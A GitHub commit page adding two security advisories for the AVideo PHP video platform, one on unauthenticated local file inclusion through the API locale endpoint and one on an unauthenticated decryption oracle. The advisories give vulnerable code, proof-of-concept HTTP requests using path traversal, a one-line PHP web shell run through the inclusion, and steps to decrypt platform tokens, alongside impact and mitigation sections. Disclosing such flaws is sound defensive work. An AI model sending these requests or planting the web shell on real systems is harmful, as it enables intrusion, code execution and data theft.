Skip to content

Commit 4d48fdb

Browse files
advisory-database[bot]advisory-database[bot]
committed
Publish Advisories
GHSA-8fw8-q79c-fp9m GHSA-mwjc-5j4x-r686
1 parent 0015cdd commit 4d48fdb

2 files changed

Lines changed: 114 additions & 0 deletions

File tree

‎advisories/github-reviewed/2026/03/GHSA-8fw8-q79c-fp9m/GHSA-8fw8-q79c-fp9m.json‎

Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-8fw8-q79c-fp9m",
4+
"modified": "2026-03-20T21:55:32Z",
5+
"published": "2026-03-20T21:55:31Z",
6+
"aliases": [],
7+
"summary": "AVideo has an Unauthenticated Local File Inclusion in API locale (RCE possible with writable PHP)",
8+
"details": "### Summary\nAn unauthenticated API endpoint (`APIName=locale`) concatenates user input into an `include` path with no canonicalization or whitelist. Path traversal is accepted, so arbitrary PHP files under the web root can be included. In our test this yielded confirmed file disclosure and code execution of existing PHP content (e.g., `view/about.php`), and it *can* escalate to RCE if an attacker can place or control a PHP file elsewhere in the tree. \n### Details\n- Entry point: `plugin/API/get.json.php` sets `$global['bypassSameDomainCheck']=1` and merges GET/POST/JSON into `$parameters` without authentication or API secret.\n- Handler: `plugin/API/API.php`, method `get_api_locale()` (lines ~5009–5023):\n ```php\n $parameters['language'] = strtolower($parameters['language']);\n $file = \"{$global['systemRootPath']}locale/{$parameters['language']}.php\";\n if (!file_exists($file)) { return new ApiObject(\"This language does not exists\"); }\n include $file;\n ```\n No validation is performed; `../` traversal is accepted.\n- Because `include` executes PHP, any reachable PHP file is executed in the web server context.\n\n### PoC\n1. Fetch an arbitrary PHP file (no auth):\n ```\n GET /plugin/API/get.json.php?APIName=locale&language=../view/about HTTP/1.1\n Host: <target>\n ```\n Response returns the rendered About page HTML, proving traversal outside `locale/`.\n2. RCE with an attacker PHP file (any writable PHP path):\n ```\n GET /plugin/API/get.json.php?APIName=locale&language=../videos/locale/shell&x=whoami\n ```\n If `shell.php` contains `<?php system($_GET['x']); ?>`, the response includes command output.\n\n### Impact\n- Unauthenticated file inclusion of arbitrary PHP files under the web root.\n- Confidential data leakage (e.g., configuration, secrets) via included PHP that renders output.\n- Potential RCE *if* any attacker-writable PHP file exists elsewhere (not confirmed in this build).\n- Affects any deployment with the API plugin enabled (default in docker-compose).\n\n### Mitigation\n- Reject path separators/dots and enforce a strict allowlist of locale slugs.\n- `realpath` the target and ensure it stays within `$systemRootPath/locale`.\n- Stop using `include` for translations; load data from vetted formats (JSON/array).\n- Add authentication (API secret/token) to the endpoint as a secondary control.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Packagist",
19+
"name": "wwbn/avideo"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"last_affected": "26.0"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-8fw8-q79c-fp9m"
40+
},
41+
{
42+
"type": "PACKAGE",
43+
"url": "https://github.com/WWBN/AVideo"
44+
}
45+
],
46+
"database_specific": {
47+
"cwe_ids": [
48+
"CWE-22",
49+
"CWE-98"
50+
],
51+
"severity": "HIGH",
52+
"github_reviewed": true,
53+
"github_reviewed_at": "2026-03-20T21:55:31Z",
54+
"nvd_published_at": null
55+
}
56+
}

‎advisories/github-reviewed/2026/03/GHSA-mwjc-5j4x-r686/GHSA-mwjc-5j4x-r686.json‎

Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-mwjc-5j4x-r686",
4+
"modified": "2026-03-20T21:55:12Z",
5+
"published": "2026-03-20T21:55:12Z",
6+
"aliases": [],
7+
"summary": "AVideo has an unauthenticated decrypt oracle leaking any ciphertext",
8+
"details": "### Summary\nThe API plugin exposes a `decryptString` action without any authentication. Anyone can submit ciphertext and receive plaintext. Ciphertext is issued publicly (e.g., `view/url2Embed.json.php`), so any user can recover protected tokens/metadata. Severity: High.\n\n### Details\n- Entry: `plugin/API/get.json.php` is unauthenticated.\n- Handler: `plugin/API/API.php` `get_api_decryptString()` (lines ~5945–5966):\n ```php\n $string = decryptString($_REQUEST['string']);\n return new ApiObject($string, empty($string));\n ```\n No APISecret or user check occurs before decrypting.\n- Public ciphertext source: `view/url2Embed.json.php` returns `playLink`/`playEmbedLink` (`encryptString(json_encode(...))`) to any caller.\n\n### PoC\n1. Obtain ciphertext:\n ```\n GET /view/url2Embed.json.php?url=https://example.com/video.mp4\n ```\n Copy `playLink`.\n2. Decrypt without auth:\n ```\n POST /plugin/API/get.json.php?APIName=decryptString\n Content-Type: application/x-www-form-urlencoded\n\n string=<playLink ciphertext>\n ```\n Response contains the plaintext JSON (videoLink, title, users_id, etc.).\n\n### Impact\n- Any encrypted payload produced by the platform can be decrypted by anyone.\n- Leaks tokens/links intended to be confidential; enables replay and tampering where secrecy was assumed.\n\n### Mitigation\n- Require API secret or authenticated/authorized user for `decryptString`, or remove the endpoint.\n- Prefer one-way signatures (HMAC) instead of exposing generic decryption.\n- Rotate encryption keys/salts after patch to invalidate exposed ciphertexts.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Packagist",
19+
"name": "wwbn/avideo"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"last_affected": "26.0"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-mwjc-5j4x-r686"
40+
},
41+
{
42+
"type": "PACKAGE",
43+
"url": "https://github.com/WWBN/AVideo"
44+
}
45+
],
46+
"database_specific": {
47+
"cwe_ids": [
48+
"CWE-287",
49+
"CWE-312",
50+
"CWE-326",
51+
"CWE-327"
52+
],
53+
"severity": "HIGH",
54+
"github_reviewed": true,
55+
"github_reviewed_at": "2026-03-20T21:55:12Z",
56+
"nvd_published_at": null
57+
}
58+
}

0 commit comments

Comments
 (0)